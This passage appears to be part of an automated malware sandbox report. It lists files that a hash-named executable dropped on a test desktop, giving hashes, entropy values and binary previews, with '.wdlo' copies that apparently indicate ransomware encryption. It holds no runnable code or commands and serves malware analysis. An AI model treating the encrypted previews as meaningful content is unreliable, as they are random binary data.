Preview:	DUUDTL.Yt..Q8.p.4..,iH~.e$.ch..S.1y.`...l$.<....F..(....D....z\|...i....ca.f....D..n5H...~3J......=v.CMx......O.Y.<.q...=...m..g..x..sq......W.D..k.?^.....e"....0q....V.;.t..Bl.[....(~'.gd}.-.U.dI.[(.....S..3..q....H..?"...'Pz!m...V.....f[.=.Nia...#.......S..y..\...uVe..o.....S...X.....bw0.P/...[s.......nh:..3....'....../...5..{..1.4C..H..T..h..XG.ezT]Q.....Yv.E.IV..e.....0./C.....U%(1~..B....-.IBVx.;..ZE..:j.3$'.m..3..H 8..Z..=.C...+....w..X:...#....b.........&R..n. \|Q._S...n....a.........;.7..2..x...V6..!.....".gu..z.....C...?.....G.Ad.m../.<F07..u......D...4N.:..$..+....p]..0..O<[....5...P..^.0E..Uo..J..j.q.}...."..f[..../...the....p..o.&(..4....`b; V.nSf...M.M....Hg..v..c.oBn......2.\l.8.,..C.9...o....(...]Q...iJF...Q.<...,szR.N.[.(.v.}yzc._...9&.k....D..O..8.zl...Y1P$.7-....w.O>:..#U.Vk..:g.%0L~.h.^Y.(..dC....56Y.....2y.(N...3..S..pYR#.(.6....v.R.'....B.s..-.E.>$....=..1.?...$.-5......'...7..U.....U.@$4^..+G...R..U.N.8.\u9^.U.Gw.

C:\Users\user\Desktop\LSBIHQFDVT\EFOYFBOLXA.jpg

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85517153185644
Encrypted:	false
SSDEEP:	24:qKjU/rcmIezgjs6j+ahvEcBgPjWWGjstXQLF6uR3UfOt9vn2lGDx3zbD:qHTitEcBkrXQRvn6G93nD
MD5:	D88D627DC7D6150F8783843204BFEF42
SHA1:	DEDBE6473E654B3A6CAF447A9A1FE30E0D321845
SHA-256:	93992121C3C32F3B82DF630B7410F9356D34808B4C1A40FDE2988117CA7D5199
SHA-512:	9C0DFF40DAC50C496125619C504354CCA1730EB7519F80F693D31CDF4B0E1935611DC5EEF18C3453B95FF0D15CC9DE64110C0066ED72792D2E6934CE946A5EA3
Malicious:	false
Preview:	EFOYF.....M.i.%.S.^.....Tx[.-.(.....m.Q]...q..r.M.0.d...<3.8.Y.I]M..5...T&.9L...<.h.gkQ.....n.F.x.......z..+e.<.tz.J......S..r....9=.9..sg.#G....8.0h.x.vk<c...rj......8@.....O.C(\ot..%..z........'.C.../.L.-....-..x.E.9....j.6..."...0.L......E...W..q....-F.....M.L.H....0.F2.h.!...E"7b.....J.....3....Nj.S......G....4...?'.K...^.:a.=/....e.N..=....a.U.K(,..wo......?.7h7V.@.q.=.In...r.}....v....,. .......s......8..........r..A.h!.{...@g.l...T..)...P..q..I0s.u....i..&..1e.rI..n...N&.g..nu..."._......xH@.@.../.f'.P.K.....>.......#5S..qz.#8....3...Dh9...o..M.l..7..{F.....L......wD.'{.L.24.!>Zy...z.H#G..:~...Y......dsB..x.>..cd...,...Gw.o%l.J.2......'...qST1...p%g.Z.&Q..zE....7>...o.A..<...yh.W\liNf.y..4q>.....=..H..b.:\.(.z.)\.e].4...#X...`[...^...s......I......B....o......\|%5..Ry.U..k....:..'.&UI.r....j.{..B{H4.!..u...R..x...[D.d.B..+J..`IIg.1...$.98Gl...w=..q_\.M.5.....-.C.2.*a....E;..%...g.....S.U.t^_.i.gc...\|.vK`f...'=.\h.,.eTV0..M.....I..?.

C:\Users\user\Desktop\LSBIHQFDVT\EFOYFBOLXA.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85517153185644
Encrypted:	false
SSDEEP:	24:qKjU/rcmIezgjs6j+ahvEcBgPjWWGjstXQLF6uR3UfOt9vn2lGDx3zbD:qHTitEcBkrXQRvn6G93nD
MD5:	D88D627DC7D6150F8783843204BFEF42
SHA1:	DEDBE6473E654B3A6CAF447A9A1FE30E0D321845
SHA-256:	93992121C3C32F3B82DF630B7410F9356D34808B4C1A40FDE2988117CA7D5199
SHA-512:	9C0DFF40DAC50C496125619C504354CCA1730EB7519F80F693D31CDF4B0E1935611DC5EEF18C3453B95FF0D15CC9DE64110C0066ED72792D2E6934CE946A5EA3
Malicious:	false
Preview:	EFOYF.....M.i.%.S.^.....Tx[.-.(.....m.Q]...q..r.M.0.d...<3.8.Y.I]M..5...T&.9L...<.h.gkQ.....n.F.x.......z..+e.<.tz.J......S..r....9=.9..sg.#G....8.0h.x.vk<c...rj......8@.....O.C(\ot..%..z........'.C.../.L.-....-..x.E.9....j.6..."...0.L......E...W..q....-F.....M.L.H....0.F2.h.!...E"7b.....J.....3....Nj.S......G....4...?'.K...^.:a.=/....e.N..=....a.U.K(,..wo......?.7h7V.@.q.=.In...r.}....v....,. .......s......8..........r..A.h!.{...@g.l...T..)...P..q..I0s.u....i..&..1e.rI..n...N&.g..nu..."._......xH@.@.../.f'.P.K.....>.......#5S..qz.#8....3...Dh9...o..M.l..7..{F.....L......wD.'{.L.24.!>Zy...z.H#G..:~...Y......dsB..x.>..cd...,...Gw.o%l.J.2......'...qST1...p%g.Z.&Q..zE....7>...o.A..<...yh.W\liNf.y..4q>.....=..H..b.:\.(.z.)\.e].4...#X...`[...^...s......I......B....o......\|%5..Ry.U..k....:..'.&UI.r....j.{..B{H4.!..u...R..x...[D.d.B..+J..`IIg.1...$.98Gl...w=..q_\.M.5.....-.C.2.*a....E;..%...g.....S.U.t^_.i.gc...\|.vK`f...'=.\h.,.eTV0..M.....I..?.

C:\Users\user\Desktop\LSBIHQFDVT\EWZCVGNOWT.mp3

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839161053066437
Encrypted:	false
SSDEEP:	24:xvAKgKyTpXo5WeUt8nAt3kNrsF2iJIa1U8DjCteEbV3zbD:FZdyTpYW2A1cYoiUOCteEbV3nD
MD5:	0A8E610F528369FD3D75D70695E9BDD0
SHA1:	0EC8F58BCE307BA646F41460628B2FED8ECCD791
SHA-256:	21910C528DED59D71002FB36EB2FF9857277D288309CC330AD1F8682AD766AAA
SHA-512:	8916DF1B600D42D806D9B3E84A12E3E655CCE816CEE03DB1F2FB5FFF8A4DF3252DADFC097661E76FCAF89E82293F4F7B0EE7181346D137619F89A2E35F538BBA
Malicious:	false
Preview:	EWZCVB......_..q.g...].....M.u... se!W.4....g...e..N~..\..0#.x93..hgh........l.'....E"FUE.......J/k~./=.L.R#>.v.:.s...,...u..C'N.>.../..mj^...6.m.u.l..9...G.'~...\yjE..gWO<.C..D..A..M.L..H.`\.^w/.x.1~....U..1...SN&V.v#tU.....7...E .e.nW.krE.;....$F\}...z.o...X...6.....^.E...(..i5Y....w.d..U1...6+..:A.?...4.r..M..hU.6UU..n.......o..!../.o/.~f[>"...*..}W.g\|.8BL...r..?..I........E...7.e.g.q.1..[A\|..C..\.F...0MGSv52H.............>.T.wH.%...P..Kg..7.jP..s6..g.LM.......E...E.T...G.o'S.Z..=.....P.....{:..o..iX...? K...#_].(....IS.."[.,..=X:.....j}-P.rUkx..c.l./c.[.N..g..l..lK.'_z....b".._.$J...F.]..PX..}...I.R...^.M,6\.7..Xq...rE.......D...d.... ..w..T...P~...v-..v\..(......%M7.2Iq.X..DB....2.3..e0.=,v8.A{...5B.......1\|.C.r`1.....1....Uk.(.J.\.1^"...rPg.sy-..\`.y>.=%u%{#..Qnr.2u+7...e.l\|+..t.).......n..[.....Qy.2../p.oY.H....\|h5..I...\|...bQ....AXXy......5.$...b.\........].O.M......3.p........I..N5a..w...S.$...Y....G...Bl.,......~"7...,..>.

C:\Users\user\Desktop\LSBIHQFDVT\EWZCVGNOWT.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839161053066437
Encrypted:	false
SSDEEP:	24:xvAKgKyTpXo5WeUt8nAt3kNrsF2iJIa1U8DjCteEbV3zbD:FZdyTpYW2A1cYoiUOCteEbV3nD
MD5:	0A8E610F528369FD3D75D70695E9BDD0
SHA1:	0EC8F58BCE307BA646F41460628B2FED8ECCD791
SHA-256:	21910C528DED59D71002FB36EB2FF9857277D288309CC330AD1F8682AD766AAA
SHA-512:	8916DF1B600D42D806D9B3E84A12E3E655CCE816CEE03DB1F2FB5FFF8A4DF3252DADFC097661E76FCAF89E82293F4F7B0EE7181346D137619F89A2E35F538BBA
Malicious:	false
Preview:	EWZCVB......_..q.g...].....M.u... se!W.4....g...e..N~..\..0#.x93..hgh........l.'....E"FUE.......J/k~./=.L.R#>.v.:.s...,...u..C'N.>.../..mj^...6.m.u.l..9...G.'~...\yjE..gWO<.C..D..A..M.L..H.`\.^w/.x.1~....U..1...SN&V.v#tU.....7...E .e.nW.krE.;....$F\}...z.o...X...6.....^.E...(..i5Y....w.d..U1...6+..:A.?...4.r..M..hU.6UU..n.......o..!../.o/.~f[>"...*..}W.g\|.8BL...r..?..I........E...7.e.g.q.1..[A\|..C..\.F...0MGSv52H.............>.T.wH.%...P..Kg..7.jP..s6..g.LM.......E...E.T...G.o'S.Z..=.....P.....{:..o..iX...? K...#_].(....IS.."[.,..=X:.....j}-P.rUkx..c.l./c.[.N..g..l..lK.'_z....b".._.$J...F.]..PX..}...I.R...^.M,6\.7..Xq...rE.......D...d.... ..w..T...P~...v-..v\..(......%M7.2Iq.X..DB....2.3..e0.=,v8.A{...5B.......1\|.C.r`1.....1....Uk.(.J.\.1^"...rPg.sy-..\`.y>.=%u%{#..Qnr.2u+7...e.l\|+..t.).......n..[.....Qy.2../p.oY.H....\|h5..I...\|...bQ....AXXy......5.$...b.\........].O.M......3.p........I..N5a..w...S.$...Y....G...Bl.,......~"7...,..>.

C:\Users\user\Desktop\LSBIHQFDVT\LSBIHQFDVT.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864415243640275
Encrypted:	false
SSDEEP:	24:Kdqb94S7Vvq92/H4hbWdfNUu8uSi9t6GZkIA1nJr3vZfQ7TOo9yMBMB51mUMfXLK:Kop4S8iH4Q9NUduprPiJrJUOTlBzm3/e
MD5:	EC34A8C881FD6626CA95153390AC90CC
SHA1:	78D0953AA32BCD94C8A6F2D7EBCA41822696A0CA
SHA-256:	813A8B41CA6CD88BAE34167C4579FA5965F6A8914318CE2255263B71F634F68F
SHA-512:	831C2F8C044C559F561E74A4791C5087EDBFD764F9E2B8EB9AEDC5B28710FBAA08B53B2B55C23878953BED9970E5F3506E0B77A9F9BAA372A63272D1A209366C
Malicious:	false
Preview:	LSBIH...v~C..o.o.....;.VX...A5.P...Llj.d.@..>...].8..cg..y.'..."....$ed....=.........5...k;...MX.x#.B\.%..>#H9yo\|{../(.U..3.B...'o.Dfn..v..%!.v%^.m(..v<o....C..z[....6uZ....1k....6cJW....W.%.....>aq...[..}...aH.x..?Y...a_.2...n.d.fC.f8mry[Op_......l.V._...].xxGn&.P.D. O{-.pW.q....;d;..zB..b..r......-.......>........UQa.1...B.W....&..5.I.%...?.R..N...kH...`.anv.Z....WP.&.g....RDiw,.@)....w..'1.Q...o..X...T.x._.o.......l....}.]\.....H.f;..}. 9m..!y2.....`....!.L^=.-.......Lo{.x...Q...\|O....wE.....zt.d.......j(g.^.m.^.7....u.l......\..O7........l?..........._!.9_...+...Yu^.<...:G...N...J..K.t..8....E....,/.&.g..;..@.....TcP..9....J..?..).x%..".t.;..IE/...jo.....d...8.ZC....".=Sg?..6.Y.&7...R...IY. !. ....9.Ly..n5.+.u.pi...Bb........`.....c.....b.h....n.,.m....s...En....2.....H-.,.$........jivGw.u...:....$eU..<..B}.~Hg.(..(..7vG,....n..DIy9....'..N..M..=.2...0./....t.2U...Z....p".*..2... ...6....z..e.t...M#I....Y.I$\D....o...)\|..2.y..V

C:\Users\user\Desktop\LSBIHQFDVT\LSBIHQFDVT.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864415243640275
Encrypted:	false
SSDEEP:	24:Kdqb94S7Vvq92/H4hbWdfNUu8uSi9t6GZkIA1nJr3vZfQ7TOo9yMBMB51mUMfXLK:Kop4S8iH4Q9NUduprPiJrJUOTlBzm3/e
MD5:	EC34A8C881FD6626CA95153390AC90CC
SHA1:	78D0953AA32BCD94C8A6F2D7EBCA41822696A0CA
SHA-256:	813A8B41CA6CD88BAE34167C4579FA5965F6A8914318CE2255263B71F634F68F
SHA-512:	831C2F8C044C559F561E74A4791C5087EDBFD764F9E2B8EB9AEDC5B28710FBAA08B53B2B55C23878953BED9970E5F3506E0B77A9F9BAA372A63272D1A209366C
Malicious:	false
Preview:	LSBIH...v~C..o.o.....;.VX...A5.P...Llj.d.@..>...].8..cg..y.'..."....$ed....=.........5...k;...MX.x#.B\.%..>#H9yo\|{../(.U..3.B...'o.Dfn..v..%!.v%^.m(..v<o....C..z[....6uZ....1k....6cJW....W.%.....>aq...[..}...aH.x..?Y...a_.2...n.d.fC.f8mry[Op_......l.V._...].xxGn&.P.D. O{-.pW.q....;d;..zB..b..r......-.......>........UQa.1...B.W....&..5.I.%...?.R..N...kH...`.anv.Z....WP.&.g....RDiw,.@)....w..'1.Q...o..X...T.x._.o.......l....}.]\.....H.f;..}. 9m..!y2.....`....!.L^=.-.......Lo{.x...Q...\|O....wE.....zt.d.......j(g.^.m.^.7....u.l......\..O7........l?..........._!.9_...+...Yu^.<...:G...N...J..K.t..8....E....,/.&.g..;..@.....TcP..9....J..?..).x%..".t.;..IE/...jo.....d...8.ZC....".=Sg?..6.Y.&7...R...IY. !. ....9.Ly..n5.+.u.pi...Bb........`.....c.....b.h....n.,.m....s...En....2.....H-.,.$........jivGw.u...:....$eU..<..B}.~Hg.(..(..7vG,....n..DIy9....'..N..M..=.2...0./....t.2U...Z....p".*..2... ...6....z..e.t...M#I....Y.I$\D....o...)\|..2.y..V

C:\Users\user\Desktop\LSBIHQFDVT\QCFWYSKMHA.xlsx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84117046245845
Encrypted:	false
SSDEEP:	24:5HeK4kLpO0lH8Alexzs8Meih7CApwLwpLdXO4AK3lCzkhvrp7t+tXqB3zbD:94kY4ebA7CM+OpjvH+tXs3nD
MD5:	9C3CD2485FFEA60948C9A7684BCB499E
SHA1:	B9AF14B2E8A61F73EBCD8FF8D1D8CA16267FF2A0
SHA-256:	809AB034DF4F2CAC59CF722B42674EFAB1117E53AAC2E0544D8A22608017238A
SHA-512:	8754347B33B4D01041A292646B52FBDC0190D35B818CC35A3197A81F337A01C3FC69FA7600849F56D7488ECF17D16080B35CAD880AD34FA112C321E530664C04
Malicious:	false
Preview:	QCFWY.&.w.s]B..r.w../..T..S.w..X#..XC....h....6`...y#....R5..".!...C..VM..\.}..7...`Kl/.f).mL.,...G.Z~.6.wH.Q.{.g....k:...gR[...r!2;.G 6......e..2.......PBh.FeX].c...u...eD..... .>.ki D..,.-.H.G.......6.Tz.......:+4..8..VE...Td.c...........I.%..%..H...n...O.n../.....a."i..p.%L......c....).%.;.:i..8X...b7Xx.-$.zMV.\.X..Jc.....I....J.`b..!......o....D......6.W"..6.......K...J.....Y..%.}......%...I.......wo..w \x.kt..-.j.E..F...'.L......i..G.>....q]W....#..O....FjU.z...N..-)Y..]$;Z.......?..6.gP.0.X.z...x..g..{.Di...A!vI...X:6.."..B..;..,..q..8.?l.h}IU..y..!.#..hox..S.%A......QU...R.7..;;YJ.L!.......']..;....ZL....i..NEn..T..q2,.>..b..$.!.?~.f.WE+lt.SJe.. ..X..s)..%..L....VI.....G...=.y~^b..?.Wwi) b..w!n.O..."G..$+.!C.Y.....l..D...H..Q...}...\|7@k.^..L...i."......v......".39=.#...{W.a.IZ1O.u..m./.9..2&.$.........B.\.k......!...pp.n.....\|..z(+.5.LSs..y.>z...\..s.k.2+A.E,..T..mXE.p.....f.$....+.S...H.Ky...%........$.4.c.\|.2w8....4.8...9.F..KY7.D.....L

C:\Users\user\Desktop\LSBIHQFDVT\QCFWYSKMHA.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84117046245845
Encrypted:	false
SSDEEP:	24:5HeK4kLpO0lH8Alexzs8Meih7CApwLwpLdXO4AK3lCzkhvrp7t+tXqB3zbD:94kY4ebA7CM+OpjvH+tXs3nD
MD5:	9C3CD2485FFEA60948C9A7684BCB499E
SHA1:	B9AF14B2E8A61F73EBCD8FF8D1D8CA16267FF2A0
SHA-256:	809AB034DF4F2CAC59CF722B42674EFAB1117E53AAC2E0544D8A22608017238A
SHA-512:	8754347B33B4D01041A292646B52FBDC0190D35B818CC35A3197A81F337A01C3FC69FA7600849F56D7488ECF17D16080B35CAD880AD34FA112C321E530664C04
Malicious:	false
Preview:	QCFWY.&.w.s]B..r.w../..T..S.w..X#..XC....h....6`...y#....R5..".!...C..VM..\.}..7...`Kl/.f).mL.,...G.Z~.6.wH.Q.{.g....k:...gR[...r!2;.G 6......e..2.......PBh.FeX].c...u...eD..... .>.ki D..,.-.H.G.......6.Tz.......:+4..8..VE...Td.c...........I.%..%..H...n...O.n../.....a."i..p.%L......c....).%.;.:i..8X...b7Xx.-$.zMV.\.X..Jc.....I....J.`b..!......o....D......6.W"..6.......K...J.....Y..%.}......%...I.......wo..w \x.kt..-.j.E..F...'.L......i..G.>....q]W....#..O....FjU.z...N..-)Y..]$;Z.......?..6.gP.0.X.z...x..g..{.Di...A!vI...X:6.."..B..;..,..q..8.?l.h}IU..y..!.#..hox..S.%A......QU...R.7..;;YJ.L!.......']..;....ZL....i..NEn..T..q2,.>..b..$.!.?~.f.WE+lt.SJe.. ..X..s)..%..L....VI.....G...=.y~^b..?.Wwi) b..w!n.O..."G..$+.!C.Y.....l..D...H..Q...}...\|7@k.^..L...i."......v......".39=.#...{W.a.IZ1O.u..m./.9..2&.$.........B.\.k......!...pp.n.....\|..z(+.5.LSs..y.>z...\..s.k.2+A.E,..T..mXE.p.....f.$....+.S...H.Ky...%........$.4.c.\|.2w8....4.8...9.F..KY7.D.....L

C:\Users\user\Desktop\NEBFQQYWPS.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873200639993839
Encrypted:	false
SSDEEP:	24:x0hESx2w68vwXQ7z9WiBb1JrVTKDRcH6RjUlknftOqDtx3zbD:xTpUwM0GORZjXttj3nD
MD5:	FE1E1F14D5A3DE3D094C5EB51615371A
SHA1:	1C957C86A7149D97EA5066C556BB7FB807266448
SHA-256:	74C5E3C18E7E6FF82D618C829BC8969E431AB7590D7897761D808AAB2AAC11EE
SHA-512:	6EE7781A518CE14C20713BCB160157D76FB3CF01A6D36DFD9C268C05031BE14995FBABC3181A1A76488DDBFA615B6DF1C87110D1E5923934D7FC0330697ECB2A
Malicious:	false
Preview:	NEBFQw9.$....lOR.D..I.XU[.w1...}.........O.......(..-V..}8_0.pv....l..:j9....s.1n........P.9.BM.I..{.....:..x..f......)..... .-..&........".H@.....g.Y..I..qjV....c...uQ...iV..[..?p..^..v. ..;...D$..v.....,..=....ew..Fh.l.......`.....e$..vs#p...W.-=.UU..)..S.<.r=5...?..O/j.0U.......>0.v.b.Uv.....f....-.W...=O.(....xZf...`.r...vh5].nk;v.+."Vl.....O......>.A..M.m...P.w..8.6...V..^..4.3.l.?]....ugI(...K+)..Ug.\F>...Z.-."..0@iZ.K.Ri.0z.. .i...o].W[....MC.(U......Oz+..rj./.b_..h.l.....4.p.N.s#....>%'[.o......Y.......<"dW6.......C..w.K..8!%.1A.<..}..%.U..B.9Ji..Oo.7.K.)".0....x.....-.z.Ua.fM.na:.8.....^,..Bv..m....@v._.{~.T.)H@.ua.R.T}...c.C.zJ..E.<{\|..........&...H0.....P....;$(h..#0......Zy..\d+w..`S.......F6......3..F...7-k.S*&....)..Kvy..h..f.'\...:...Vd;M.e.k..)n..8Z......E5.#-wl.)K..<=:_.(..b.P'..;. ..E$.XK...B...k......}y.T.......n.....QR.UA..`G..\.qI$tm.......>.v..v....V.!.x........._=.....l...G.f....+......'.8...h.xc...7..

C:\Users\user\Desktop\NEBFQQYWPS.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.873200639993839
Encrypted:	false
SSDEEP:	24:x0hESx2w68vwXQ7z9WiBb1JrVTKDRcH6RjUlknftOqDtx3zbD:xTpUwM0GORZjXttj3nD
MD5:	FE1E1F14D5A3DE3D094C5EB51615371A
SHA1:	1C957C86A7149D97EA5066C556BB7FB807266448
SHA-256:	74C5E3C18E7E6FF82D618C829BC8969E431AB7590D7897761D808AAB2AAC11EE
SHA-512:	6EE7781A518CE14C20713BCB160157D76FB3CF01A6D36DFD9C268C05031BE14995FBABC3181A1A76488DDBFA615B6DF1C87110D1E5923934D7FC0330697ECB2A
Malicious:	false
Preview:	NEBFQw9.$....lOR.D..I.XU[.w1...}.........O.......(..-V..}8_0.pv....l..:j9....s.1n........P.9.BM.I..{.....:..x..f......)..... .-..&........".H@.....g.Y..I..qjV....c...uQ...iV..[..?p..^..v. ..;...D$..v.....,..=....ew..Fh.l.......`.....e$..vs#p...W.-=.UU..)..S.<.r=5...?..O/j.0U.......>0.v.b.Uv.....f....-.W...=O.(....xZf...`.r...vh5].nk;v.+."Vl.....O......>.A..M.m...P.w..8.6...V..^..4.3.l.?]....ugI(...K+)..Ug.\F>...Z.-."..0@iZ.K.Ri.0z.. .i...o].W[....MC.(U......Oz+..rj./.b_..h.l.....4.p.N.s#....>%'[.o......Y.......<"dW6.......C..w.K..8!%.1A.<..}..%.U..B.9Ji..Oo.7.K.)".0....x.....-.z.Ua.fM.na:.8.....^,..Bv..m....@v._.{~.T.)H@.ua.R.T}...c.C.zJ..E.<{\|..........&...H0.....P....;$(h..#0......Zy..\d+w..`S.......F6......3..F...7-k.S*&....)..Kvy..h..f.'\...:...Vd;M.e.k..)n..8Z......E5.#-wl.)K..<=:_.(..b.P'..;. ..E$.XK...B...k......}y.T.......n.....QR.UA..`G..\.qI$tm.......>.v..v....V.!.x........._=.....l...G.f....+......'.8...h.xc...7..

C:\Users\user\Desktop\NEBFQQYWPS.pdf

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855451400664851
Encrypted:	false
SSDEEP:	24:/u4E8lpyL9N/Ij3ojwxnqA9OVRo/jeD7GrohqMcaxDdFGXT3zbD:/s8XQNwU4n/oEEeRaxTo3nD
MD5:	884D794AC05CC8508CA9AFE556E23C5D
SHA1:	4FE459EFB36ED84F098A36C89AE992EDC06121DF
SHA-256:	801AF5C99B5C2030E072FC36CCB49109B6F8290F9FE9D058A12EDC31F097F8F3
SHA-512:	E2148DBB3AB9AD5ED07AF00F964BF8799D9C3AFFFF153845FBED8A999D67E61EA6758C18759854E3A78E1A167D6B8870315688CC00605671873C282BB2037775
Malicious:	false
Preview:	NEBFQ...nR.....u..=.T.........T..I...ep0,,....l.. K....vk..%.....`J..S5.k U."...8.np^v..L...;.n.#..8.!I#....y..9LD..h=......9..;..;.k..VZ.....}..~3lm..yF..>.{...1gk?..3.......6..T.y<....E.P.&..M..FFb.DY.....ep.....,.....e...X..6.'..[.ee}YW.j...$...v}N@..~K.g.\I..";o.O.("m..".~.t..t...=.)...."~%.X...'.=_4.0.WB..q5...r..}.M.....#....n.n.V.V8..B..15}....V.!..j>.B..G@.z.+A.?...d...S ..zK...L..y....@.r`Y..V...[...!..;o.>R.[+.1.k............I...K).n...R......iks..V......n5.G...1.?(ci{g..zFa.K...A.ng...`...k.. .>U......VZ..^.m.q-....ATK....OE..4>.Jrpg..:....J,.....Tp..:.q..z..$P...2...._...d..4..}....o....c.e7#/.d...........\|GBn...Z].\=....>.R....8......&`.,M..K.y...O]).Su...w....}L.p...m..(...9....k...........f...}!#....5...'U..lH$.).{`.5...y.^5..]~..-.8........>.....o..\|.... 4*...u.s..A...Pj..p.....KzTF..TZ.(.t...2pD.U.~.9=.j..C(....q.O.9..2.....&b..P.+.I.^.:..PD_.{...@..$f..H.m.....).Ao.k...H.y..,...n..g.../..c.0..V. 3..rp.(.:X.Y.=^!

C:\Users\user\Desktop\NEBFQQYWPS.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855451400664851
Encrypted:	false
SSDEEP:	24:/u4E8lpyL9N/Ij3ojwxnqA9OVRo/jeD7GrohqMcaxDdFGXT3zbD:/s8XQNwU4n/oEEeRaxTo3nD
MD5:	884D794AC05CC8508CA9AFE556E23C5D
SHA1:	4FE459EFB36ED84F098A36C89AE992EDC06121DF
SHA-256:	801AF5C99B5C2030E072FC36CCB49109B6F8290F9FE9D058A12EDC31F097F8F3
SHA-512:	E2148DBB3AB9AD5ED07AF00F964BF8799D9C3AFFFF153845FBED8A999D67E61EA6758C18759854E3A78E1A167D6B8870315688CC00605671873C282BB2037775
Malicious:	false
Preview:	NEBFQ...nR.....u..=.T.........T..I...ep0,,....l.. K....vk..%.....`J..S5.k U."...8.np^v..L...;.n.#..8.!I#....y..9LD..h=......9..;..;.k..VZ.....}..~3lm..yF..>.{...1gk?..3.......6..T.y<....E.P.&..M..FFb.DY.....ep.....,.....e...X..6.'..[.ee}YW.j...$...v}N@..~K.g.\I..";o.O.("m..".~.t..t...=.)...."~%.X...'.=_4.0.WB..q5...r..}.M.....#....n.n.V.V8..B..15}....V.!..j>.B..G@.z.+A.?...d...S ..zK...L..y....@.r`Y..V...[...!..;o.>R.[+.1.k............I...K).n...R......iks..V......n5.G...1.?(ci{g..zFa.K...A.ng...`...k.. .>U......VZ..^.m.q-....ATK....OE..4>.Jrpg..:....J,.....Tp..:.q..z..$P...2...._...d..4..}....o....c.e7#/.d...........\|GBn...Z].\=....>.R....8......&`.,M..K.y...O]).Su...w....}L.p...m..(...9....k...........f...}!#....5...'U..lH$.).{`.5...y.^5..]~..-.8........>.....o..\|.... 4*...u.s..A...Pj..p.....KzTF..TZ.(.t...2pD.U.~.9=.j..C(....q.O.9..2.....&b..P.+.I.^.:..PD_.{...@..$f..H.m.....).Ao.k...H.y..,...n..g.../..c.0..V. 3..rp.(.:X.Y.=^!

C:\Users\user\Desktop\NEBFQQYWPS\BJZFPPWAPT.mp3

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848510605924121
Encrypted:	false
SSDEEP:	24:/wdqXafvhiCbw8SPeHeUTxqSDdj4CsOTUx6r/rxup3n/QYVzqQpbBLJI+W93zbD:/ihFbbS2lQSDdjeOAW/NmPBZq4Vg93nD
MD5:	3CFFF4592311816F4DCB1461949D6F16
SHA1:	DD493305ABA252735F3D10D86EEA409501E43F14
SHA-256:	CC4DF9C7F07074006223574C45ECA5B810832A690A8BD88502AAE23A0B83BD31
SHA-512:	051BF72403EE5F200E60842C1AADFA3F7CBD910D6E61AE25283C2B6AF7A02E49120E1FA32BC8F9D268658E85A5213D2EDAB2E21728D275A07B48AC6D4B61A579
Malicious:	false
Preview:	BJZFP.o...I.se..9...M.y....g..bA.9Z.V.\|Ga\|.3[.I.nU..md......j...,aM.$..&.l...<HT@p.......D3.xf...?.m.1.:f..\|..H.+..%.1_.u....RM.K".Lqh.....K..}9.u\|...<..(6..s"Qu..c{.....i.`.6Y.F..;. ...ja.#3..w...r.Y..'..l..KA..n..q..E.kE..T..D..>..W.....;..x.-k.h.....N]..kJ..'[R.....x5...J"..r.j.y..+.}\|1...U.HpQm...K..C....F...q.B..O..f.....6V....G[.y..$.w..?~{..I.h...1.I..........N..v...K.....1...<.B'....."N..R...R.W...\1.].]..\..#.....`....O..j.p..xq/...0H.h=.F..<Q.`:(H.....c:F.n..5...7.Y9..d.....e.&....L3...HZ.....J.8.....r....cfX.6.9..p...... y..t.U...Y.l%.n.".K.h 